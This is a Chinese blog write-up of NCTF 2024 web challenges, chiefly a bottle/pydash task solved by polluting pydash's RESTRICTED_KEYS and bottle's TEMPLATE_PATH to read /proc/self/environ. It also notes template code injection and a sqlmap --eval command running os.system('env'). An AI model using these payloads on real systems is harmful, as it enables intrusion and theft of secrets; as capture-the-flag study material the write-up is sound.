1765 字
9 分钟
NCTF 2024 WEB
2025-03-24

ez_dash#

这道题出了个非预期,因为/render路由这里用到的是SimpleTemplate

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

而这个模板引擎支持以<% pycode %>的形式嵌入python代码: alt text 题目代码中并没有对此进行过滤,所以直接就能RCE拿flag

sqlmap-master#

没什么好说的,使用sqlmap的--eval参数执行python代码即可,比如127.0.0.1 --eval __import__('os').system('env')

internal_api#

todo…

ez_dash_revenge#

添加了一大堆限制,基本上应该是没办法耍花招了,先看看题目代码吧:

'''
Hints: Flag在环境变量中
'''

from typing import Optional

import pydash
import bottle

__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","func","render",
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

这玩意基本上就是一个基于Bottle框架的Web应用,注册了两个路由,/setValue其实就是个添加了一大堆限制的pydash.set_(obj,path,value),然后/render其实就是个添加了一大堆限制的bottle.template(path)
题目代码并不复杂,打法也显而易见:通过/setValue污染掉一堆不知道什么东西,然后从/render拿flag。
然而比较蛋疼的是我本人对这个什么Bottle框架不能说比较陌生,只能说几乎完全没接触过,之前打CTF也主要是研究Flask相关的一些东西。所以,没办法,只能硬看。
因为最终我们应该是要通过bottle.template(path)获取flag的,所以我们先研究一下这个bottle.template()到底是什么玩意:

# bottle.template() in bottle.py

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

结合注释可以猜测出这个函数的功能,大概就是,传入一个字符串,首先检查传入的字符串中有没有包含\n { % $,如果存在这些字符,就将传入的字符串视为模板字符串传给adapter(source=tpl, lookup=lookup, **settings)处理,否则将传入的字符串视为文件名传给adapter(name=tpl, lookup=lookup, **settings)处理。可以看到,这里默认的的adapter就是SimpleTemplate

adapter = kwargs.pop('template_adapter', SimpleTemplate)

我们继续看看这个SimpleTemplate是何方神圣

# class SimpleTemplate in bottle.py

class SimpleTemplate(BaseTemplate):
    ...

继承自BaseTemplate,继续看:

# class BaseTemplate in bottle.py

class BaseTemplate(object):
    """ Base class and minimal API for template adapters """
    extensions = ['tpl', 'html', 'thtml', 'stpl']
    settings = {}  #used in prepare()
    defaults = {}  #used in render()

    def __init__(self,
                 source=None,
                 name=None,
                 lookup=None,
                 encoding='utf8', **settings):
        """ Create a new template.
        If the source parameter (str or buffer) is missing, the name argument
        is used to guess a template filename. Subclasses can assume that
        self.source and/or self.filename are set. Both are strings.
        The lookup, encoding and settings parameters are stored as instance
        variables.
        The lookup parameter stores a list containing directory paths.
        The encoding parameter should be used to decode byte strings or files.
        The settings parameter contains a dict for engine-specific settings.
        """
        self.name = name
        self.source = source.read() if hasattr(source, 'read') else source
        self.filename = source.filename if hasattr(source, 'filename') else None
        self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
        self.encoding = encoding
        self.settings = self.settings.copy()  # Copy from class variable
        self.settings.update(settings)  # Apply
        if not self.source and self.name:
            self.filename = self.search(self.name, self.lookup)
            if not self.filename:
                raise TemplateError('Template %s not found.' % repr(name))
        if not self.source and not self.filename:
            raise TemplateError('No template specified.')
        self.prepare(**self.settings)

    @classmethod
    def search(cls, name, lookup=None):
        """ Search name in all directories specified in lookup.
        First without, then with common extensions. Return first hit. """
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue
            if os.path.isfile(fname): return fname
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

    @classmethod
    def global_config(cls, key, *args):
        """ This reads or sets the global settings stored in class.settings. """
        if args:
            cls.settings = cls.settings.copy()  # Make settings local to class
            cls.settings[key] = args[0]
        else:
            return cls.settings[key]

    def prepare(self, **options):
        """ Run preparations (parsing, caching, ...).
        It should be possible to call this again to refresh a template or to
        update settings.
        """
        raise NotImplementedError

    def render(self, *args, **kwargs):
        """ Render the template with the specified local variables and return
        a single byte or unicode string. If it is a byte string, the encoding
        must match self.encoding. This method must be thread-safe!
        Local variables may be provided in dictionaries (args)
        or directly, as keywords (kwargs).
        """
        raise NotImplementedError

因为/render对黑名单字符和传入的字符串长度都做了限制,直接传模板字符串这条路大概是走不通的,所以我们跳过这一块,直接观察一下当传入字符串是文件名时发生了什么:

if not self.source and self.name:
    self.filename = self.search(self.name, self.lookup)
    if not self.filename:
        raise TemplateError('Template %s not found.' % repr(name))

继续跟进这个self.search:

    @classmethod
    def search(cls, name, lookup=None):
        """ Search name in all directories specified in lookup.
        First without, then with common extensions. Return first hit. """
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue
            if os.path.isfile(fname): return fname
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

这里就有点说法了,我们发现这里传入了lookup,这玩意应该是个相对路径,然后他会在这个目录下查找对应名称的模板文件,不过由于if not fname.startswith(spath): continue我们似乎没办法直接用../../进行目录穿越,但是这个题目提供了一个pydash.set_,所以我们看看这个lookup是从哪来的,有没有可能直接把这玩意污染成/proc/self/然后传environ,把环境变量作为模板文件读出:

# bottle.template() in bottle.py
...
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
...
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)

lookup的默认值由TEMPLATE_PATH控制,好像能成,写个demo尝试一下:

import bottle
import pydash

pydash.set_(globals()['bottle'],'TEMPLATE_PATH',['/etc/'])

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if len(path)>10:
        return "hacker"
    blacklist=["{","}",".","%","<",">","_"] 
    for c in path:
        if c in blacklist:
            return "hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

结果如图,确实能打 alt text 然而,当我想要通过set(setval,"__globals__.bottle.TEMPLATE_PATH",["../../../../proc/self/"])修改TEMPLATE_PATH时,非常遗憾地,这玩意报错了: alt text 不能访问__globals__???不是哥们
经过一番查找,发现RESTRICTED_KEYS

# the fucking restricted keys in pydash/helpers.py

...
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")
...

直接把这玩意也污染掉,用set(pydash,"helpers.RESTRICTED_KEYS","") alt text 然后再把TEMPLATE_PATH也污染掉,用set(setval,"__globals__.bottle.TEMPLATE_PATH",["../../../../proc/self/"]) alt text 大功告成: alt text 顺便记录一下一些相关的知识点:
bottle simpletemplate的模板标识符保存在bottle.StplParser.default_syntax里:

default_syntax = '<% %> % {{ }}'

可能可以通过污染掉这些标识符绕过一些WAF?

通过修改bottle.SimpleTemplate.defaults字典,可以向模板的 Python 执行环境传入变量,这些变量在模板渲染时将可以被直接访问,例如: alt text

H2 Revenge [还没有复现]#

没学java,完全看不明白。。。等哪天学成归来再试试。。。

NCTF 2024 WEB
https://blog.asteriax.site/posts/nctf/
作者
ASTERIAX
发布于
2025-03-24
许可协议
CC BY-NC-SA 4.0